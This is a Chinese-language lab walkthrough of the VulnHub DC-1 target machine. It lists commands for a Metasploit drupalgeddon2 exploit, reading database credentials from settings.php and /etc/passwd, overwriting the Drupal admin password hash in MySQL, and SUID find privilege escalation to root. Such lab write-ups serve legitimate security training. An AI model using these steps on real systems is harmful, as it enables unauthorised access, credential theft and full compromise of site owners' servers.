渗透测试学习之靶机DC-1

1.下载安装靶机

下载链接为DC: 1 ~ VulnHub,里面有三种下载方式任选一种即可,下载后解压为.ova文件,该格式可直接在VMware上打开,如果显示打开失败,依照指示重试即可成功,如果仍无法成功可百度、谷歌解决。

在VMware加载成功之后显示如下界面:

渗透测试学习之靶机DC-1_第1张图片

默认状态我们是打不开该系统的,也不知道账号密码的,毕竟我们的目的就是在不知道账号密码的情况下拿到root权限,找到flag。

注意,这里建议把DC-1靶机的网络链接模式改为NAT模式。

本文使用的攻击机为kali(安装在VMware上,IP为:192.168.179.128)。

2.信息收集

2.1收集该靶机的IP

由于本文的攻击机和靶机在同一个网络下,因此在kali上输入命令: arp-scan -l

渗透测试学习之靶机DC-1_第2张图片

由上图可以看出靶机的IP为192.168.179.129,当然也可以使用nmap去扫描192.168.179.1/24段下的所有存活机器。

2.2 扫描该靶机的端口

使用nmap扫描器,输入命令:nmap 192.168.179.129

渗透测试学习之靶机DC-1_第3张图片 

由上图可以看出该靶机暴露了80、22端口,80端口是提供http服务的,我们使用浏览器访问:http://192.168.179.129:80,可得

渗透测试学习之靶机DC-1_第4张图片 

上图为网站的登陆图,可以看出需要账号密码,可以猜测应该有重要信息在登陆后的页面内,这是有三种方式可以看到,第一是注册:看到可以注册,我们先注册一波,然后发现注册没有用;第二是sql注入,感兴趣的同学可以注册一波,我是没成功;第三是需要去靶机文件系统里盗取。这个时候我们看到最下面有 Powered by Drupal,说明Drupal是该网站的CMS,我们不妨猜测该网站可能存在漏洞。

3 漏洞检测

接下来我们使用一款开源的漏洞扫描工具去扫描该网站的Drupal的潜在漏洞。

1. 输入命令: msfconsole,进入msf工具,注意:如果第一次使用msf需要初始化,初始化需要几行命令,百度谷歌可得,很简单。

2.进入后,输入:search drupal

渗透测试学习之靶机DC-1_第5张图片 

3.可以看出存在7个潜在的漏洞,经过尝试(看博客,有的博主已经验证只有geddon2 API 可以利用),我们输入命令行:

use exploit/unix/webapp/drupal_drupalgeddon2,利用这个API漏洞;

4.接着输入:show options查看是否有需要手工设置的选项

渗透测试学习之靶机DC-1_第6张图片

5.其中requested显示为yes表示需要我们手动设置。可以从描述看出,rhosts最有可能需要我们设置,输入命令:set rhosts 192.168.179.129

6.接着使用exploit命令进行攻击。

渗透测试学习之靶机DC-1_第7张图片 

可以看出我们获得了一个meterpreter的shell,这表名我们成功入侵了该靶机。并且从倒数第二行可以看出是使用192.168.179.128(kali)入侵192.168.179.129(靶机)的。

4 漏洞利用

渗透测试学习之靶机DC-1_第8张图片 

1.输入ls,查看靶机文件,可以看到有一个flag1.txt文件,此时拿到第一个flag。

2.查看flag1.txt文件

 

提示需要查找CMS的配置文件,那么就在该目录下查找

3.查找配置文件

此时有两种方式查找:

一种是在该目录下遍历所有的子目录及文件,查找所有配置文件,发现在/sites/dafault/下存在settings.php文件。

另一种是开启一个shell,使用python -c "import pty;pty.spawn( '/bin/bash')"开启交互模式,然后使用find命令查找settings文件,命令为:

find ./ -name "*settings*"

4.查看配置文件

渗透测试学习之靶机DC-1_第9张图片 

有上图我们看出我们拿到了第二个flag,并且可以看到数据库的信息

5.打开shell,打开靶机的交互模式(如果第三步找配置文件的时候已经打开了,则无需重复打开)

python -c "import pty;pty.spawn( '/bin/bash')"

 

6.登陆数据库

使用更改settings.php文件中的账号密码信息,登陆数据库

mysql -udbuser -pR0ck3t

渗透测试学习之靶机DC-1_第10张图片 

7.查看数据库信息

show databases;

use drupaldb;

show tables;

渗透测试学习之靶机DC-1_第11张图片

 渗透测试学习之靶机DC-1_第12张图片

可以看到有users表。

8.查看用户信息

select * from users;

渗透测试学习之靶机DC-1_第13张图片

 

可以看出users表中有用户名和密码,但是该密码被加密了。我们知道哈希密码是单项不可逆的,即使我们打算使用解密软件爆破,也只能穷举,成本比较高,因此,参考大家的博客,大家都是采用替换的方式,即找到靶机的加密算法,将我们自己设定的密码转换成哈希密文,并替换users表中的密码。

9.查找哈希算法文件

在百度上搜索了drupal密码重置方法,发现drupal默认使用password_hash.sh生成密码。因此我们在目录下查找该文件,

输入命令行,寻找所有的hash文件

find ./ -name "*hash*"

 

发现了在scripts下存在一个hash文件,此文件正是要找的password_hash.sh。

10.使用hash文件生成新的算法

使输入命令行:cat ./scripts/password-hash.sh,发现确实是我们需要的文件。 

渗透测试学习之靶机DC-1_第14张图片

再输入命令行 php ./scripts/password-hash.sh dc1

生成密码为dc1 的哈希值

11.替换哈希并登陆

此时我们登陆数据库,输入命令行:update drupaldb.users set pass="$S$DjCJXN1GkzsnjbIcGq8meOnx3MWj1a.9gGEm2u9YmZEH/9/SjetG" where name="admin";

替换users表中的hash.

接着我们用admin(密码为dc1)登陆

渗透测试学习之靶机DC-1_第15张图片 

没有看到有用的信息,随便点点,发现发现dashboard,发现第三个flag.

渗透测试学习之靶机DC-1_第16张图片

 渗透测试学习之靶机DC-1_第17张图片

 

这句话翻译过来的意思是特殊的权限有助于发现密码,但是你需要执行一些命令去发现一些隐藏内容。

这句话有两个提示,一个是提权,另一个是passwd和shadow文件。

12 发现passwd文件

我们尝试看看passwd,输入命令:cat /etc/passwd,发现果然存在

渗透测试学习之靶机DC-1_第18张图片

此外,最后一行flag4❌1001:1001:Flag4,,,:/home/flag4:/bin/bash,也告诉了我们路径,我们打开该路径查看,找到了第4个flag文件。

 

5 提权

第4个flag文件提示另一个flag文件在root里,这也再一次证明了必须要进行提权,获得root权限。在提权之前,我们不妨尝试查找flag文件,

find / -name "*flag*"

渗透测试学习之靶机DC-1_第19张图片 

我们发现了最后一个flag如果在root目录下,再一次提示接下来要进行提权操作。

首先我们思考哪些命令可以进行提权操作,find、vim、bash、more、less等,此次我们使用flag提示的find -perm 命令

输入命令行 find / -perm -u=s -type f 2>/dev/null

其中-perm表示按照权限查找;-u=s表示拥有者是s权限;-type表示查找f文件、d目录、c字符设备等;2>/dev/null的意思就是将标准错误stderr删掉。

渗透测试学习之靶机DC-1_第20张图片 

这些目录都是root权限,在里面发现了/usr/bin/find已经是root权限了。

接下来执行命令:touch dc-1(有的话显示时间属性,没有创建该文件),此处是创建。

输入命令:find dc-1 -exec whoami \;

渗透测试学习之靶机DC-1_第21张图片 

可以看出find确实可以拥有dc-1的root权限,并且-exec后面的命令也以root权限执行,那么就可以拼接命令行打开thefinalflag.txt了。

构建命令行:find dc-1 -exec cat /root/thefinalflag.txt \;

渗透测试学习之靶机DC-1_第22张图片

成功获得最后一个flag。

你可能感兴趣的:(安全,安全,web安全,网络,渗透测试,靶机)